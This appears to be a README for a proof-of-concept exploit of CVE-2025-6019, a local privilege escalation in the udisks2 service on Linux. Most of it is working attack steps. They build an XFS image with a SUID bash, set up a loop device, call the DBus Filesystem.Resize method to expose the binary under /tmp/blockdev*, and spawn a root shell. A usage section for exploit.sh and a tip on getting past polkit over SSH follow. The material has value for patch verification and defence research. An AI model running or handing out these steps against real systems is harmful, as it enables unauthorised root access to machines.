CVE-2025-6019: Privilege Escalation Exploit via UDisks2 Filesystem Resize

Vulnerability Details

• CVE ID: CVE-2025-6019
• Impact: Local Privilege Escalation (LPE)
• Affected Systems: Linux systems with vulnerable udisks2 versions
• Mechanism: Race condition during filesystem resize allows access to SUID binaries in world-writable temporary directories
• Key Components:
  • udisks2 service (DBus interface)
  • org.freedesktop.UDisks2.Filesystem.Resize method
  • Temporary mount points under /tmp/blockdev*

Exploit Workflow

1. Prepare Malicious Filesystem Image (Attacker)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount 

2. Trigger Exploit (Victim Machine)

# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Gain Root Access

/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

Important!

Exploit working only in logind session!

• The script must run from a logind session that is Active=yes and Remote=no (e.g. tty1).
• When it’s started from an SSH / pts/* / reverse-shell session the udisksctl loop-setup --no-user-interaction call is denied by polkit, so the PoC bails out with
  “Failed to create loop device”.

Notice:

• If you want to use exploit via SSH, you must drop temporary polkit rule

How to use exploit

Create suid image

$ sudo bash exploit.sh create 

exploit system

$ bash exploit.sh exploit 

POC Video